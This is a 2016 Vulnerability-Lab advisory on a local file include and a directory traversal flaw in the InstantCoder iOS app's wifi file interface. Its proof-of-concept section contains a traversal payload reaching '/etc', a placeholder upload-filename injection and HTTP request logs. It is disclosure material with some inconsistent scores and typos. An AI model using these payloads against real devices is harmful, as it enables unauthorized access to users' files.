Document Title:
===============
InstantCoder v1.0 iOS - Multiple Web Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1738


Release Date:
=============
2016-02-22


Vulnerability Laboratory ID (VL-ID):
====================================
1738


Common Vulnerability Scoring System:
====================================
7


Product & Service Introduction:
===============================
You are one of the best developers in the world and you would like to code anytime, anywhere. CuteCoder makes it possible 
for your to code and debug web apps on your lovely iPhone and iPad.

(Copy of the Homepage: https://itunes.apple.com/ai/app/instantcoder/id1067517686 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered multiple vulnerabilities in the official InstantCoder mobile iOS web-application.


Vulnerability Disclosure Timeline:
==================================
2016-02-22: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Shumin Sun
Product: InstantCoder - iOS (Web-Application) 1.0


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
1.1
A local file include web vulnerability has been discovered in the official InstantCoder v1.0 iOS mobile web-application (wifi).
The file include vulnerability allows remote attackers to unauthorized include local file/path requests or system specific path 
commands to compromise the mobile web-application.

The web vulnerability is located in the `filename` value of the `./toolkit/upload` module. Remote attackers are able to inject own 
files with malicious `filename` values in the `file upload` POST method request to compromise the mobile web-application. The local 
file/path include execution occcurs in the index file dir listing and sub folders of the wifi interface. The attacker is able to 
inject the lfi payload by usage of the wifi interface or local file sync function. 

Attackers are also able to exploit the filename issue in combination with persistent injected script code to execute different malicious 
attack requests. The attack vector is located on the application-side of the wifi service and the request method to inject is POST. 

The security risk of the local file include vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.4. 
Exploitation of the local file include web vulnerability requires no user interaction or privileged web-application user account. 
Successful exploitation of the local file include vulnerability results in mobile application compromise or connected device component compromise.

Request Method(s):
        [+] [POST]

Vulnerable Module(s):
        [+] ./toolkit/upload

Vulnerable Parameter(s):
        [+] filename

Affected Module(s):
        [+] Index File Dir Listing (http://localhost:8080/)



1.2
A directory traversal web vulnerability has been discovered in the official InstantCoder v1.0 iOS mobile web-application (wifi).
The vulnerability allows remote attackers to unauthorized access path variables to compromise the web-application or mobile device.

The directory traversal web vulnerability is located in the `path` value of the `listFiles` module. Remote attackers are able to 
manipulate the path variable GET or POST method request to compromise the application. The request method to inject the payload is 
POST and the request method to execute is GET. The attack vector of the vulnerability is located on the application-side. The path 
variable is not encoded or parsed. Thus allows an attacker to inject to unauthorized access the local system or app path.

The security risk of the path traversal vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.0. 
Exploitation of the local file include web vulnerability requires no user interaction or privileged web-application (wifi ui) user account. 
Successful exploitation of the path traversal vulnerability results in mobile application compromise or compromise of connected device components.


Request Method(s):
        [+] [POST]

Vulnerable Module(s):
        [+] ./listFiles

Vulnerable Parameter(s):
        [+] path

Affected Module(s):
        [+] Index File Dir Listing (http://localhost:8080/)


Proof of Concept (PoC):
=======================
1.1
The local file include web vulnerability can be exploited by remote attackers with wifi panel access and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC: Payload
http://localhost:8080/toolkit/index.html./[LOCAL FILE INCLUDE VULNERABILITY!]


PoC: Vulnerable Source
javascript:changePath("./[LOCAL FILE INCLUDE VULNERABILITY!]");


--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://localhost:8080/toolkit/upload?path= Load Flags[LOAD_BYPASS_LOCAL_CACHE_IF_BUSY ] Größe des Inhalts[162] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0]
      Accept[*/*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      X-Requested-With[XMLHttpRequest]
      Referer[http://localhost:8080/toolkit/index.html]
      Content-Length[819]
      Content-Type[multipart/form-data; boundary=---------------------------29343138867419]
      Connection[keep-alive]
   POST-Daten:
      POST_DATA[-----------------------------29343138867419
Content-Disposition: form-data; name="path"
-----------------------------29343138867419
Content-Disposition: form-data; name="upload1"; filename="./[LOCAL FILE INCLUDE VULNERABILITY!]"
Content-Type: image/png
-
Status: 200[OK]
GET http://localhost:8080/toolkit/index.html Load Flags[VALIDATE_ALWAYS LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[4995] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Connection[keep-alive]
      Cache-Control[max-age=0]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[4995]
      Date[Mon, 22 Feb 2016 08:33:04 GMT]


Reference(s):
http://localhost:8080/toolkit/upload
http://localhost:8080/toolkit/index.html



1.2
Thedirectory traversal web vulnerability can be exploited by remote attackers with wifi panel access and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC: Payload
http://localhost:8080/listFiles?path=./.././../../../../../../../../../../


PoC: Vulnerable Source
<p></p>
<div id="list-file"><a href="javascript:changePath("/.././../../../../../../../../../../etc/%00");"> 
<div class="folder"><img><iframe></div></a></iframe></div></a></div>
</div>


Status: 200[OK]
POST http://localhost:8080/listFiles?path=/ Load Flags[LOAD_BACKGROUND  VALIDATE_ALWAYS LOAD_BYPASS_LOCAL_CACHE_IF_BUSY ] Größe des Inhalts[162] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0]
      Accept[*/*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      X-Requested-With[XMLHttpRequest]
      Referer[http://localhost:8080/toolkit/index.html]
      Connection[keep-alive]
      Content-Length[0]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[162]
      Date[Mon, 22 Feb 2016 08:09:34 GMT]
-
Status: 200[OK]
POST http://localhost:8080/listFiles?path=/.././../../../../../../../../../../etc/%00 Load Flags[LOAD_BACKGROUND  LOAD_BYPASS_LOCAL_CACHE_IF_BUSY ] Größe des Inhalts[2] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0]
      Accept[*/*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      X-Requested-With[XMLHttpRequest]
      Referer[http://localhost:8080/toolkit/index.html]
      Connection[keep-alive]
      Content-Length[0]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[2]
      Date[Mon, 22 Feb 2016 08:09:37 GMT]
-
Status: 200[OK]
POST http://localhost:8080/listFiles?path=./.././../../../../../../../../../../ Load Flags[LOAD_BACKGROUND  LOAD_BYPASS_LOCAL_CACHE_IF_BUSY ] Größe des Inhalts[2] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0]
      Accept[*/*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      X-Requested-With[XMLHttpRequest]
      Referer[http://localhost:8080/toolkit/index.html]
      Connection[keep-alive]
      Content-Length[0]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[2]
      Date[Mon, 22 Feb 2016 08:09:45 GMT]


Reference(s):
http://localhost:8080/listFiles


Security Risk:
==============
1.1
The security risk of the local file include web vulnerability in the upload POST method request is estimated as high. (CVSS 6.7)

1.2
The security risk of the directory traversal web vulnerability in the list path GET method request is estimated as high. (CVSS 7.0)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (research@vulnerability-lab.com) [www.vulnerability-lab.com]


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=========================
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